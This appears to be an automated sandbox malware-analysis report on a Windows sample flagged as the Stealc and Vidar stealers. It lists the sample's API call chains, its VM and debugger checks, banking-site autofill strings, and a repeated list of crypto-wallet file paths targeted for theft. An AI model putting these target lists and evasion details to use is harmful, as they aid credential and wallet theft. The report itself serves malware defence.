Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00418060 GetSystemInfo,wsprintfA,

0_2_00418060

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Amcache.hve.21.dr	Binary or memory string: VMware
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.21.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.21.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.21.dr	Binary or memory string: vmci.sys
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.21.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.21.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.21.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.21.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.21.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.21.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.21.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.21.dr	Binary or memory string: VMware, Inc.
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.21.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.21.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.21.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.21.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.21.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: msedge.exe, 00000007.00000003.2460113485.000055D4002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.21.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.21.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: msedge.exe, 00000007.00000002.2538653221.0000018C20C44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Amcache.hve.21.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.21.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.21.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Amcache.hve.21.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78171
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78192
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78174
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78824
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78190
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78214
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78185
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	API call chain: ExitProcess graph end node	graph_0-78013

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]

0_2_00419AA0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAAB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CAAB66C
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAAB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CAAB1F7
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC5AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CC5AC62

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004198E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419790

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_6CAAB341 cpuid

0_2_6CAAB341

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417D20

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

Source: Amcache.hve.21.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.21.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.4830e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.vMRlWtVCEN.exe.4910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.vMRlWtVCEN.exe.4910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.4830e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vMRlWtVCEN.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: vMRlWtVCEN.exe PID: 7160, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
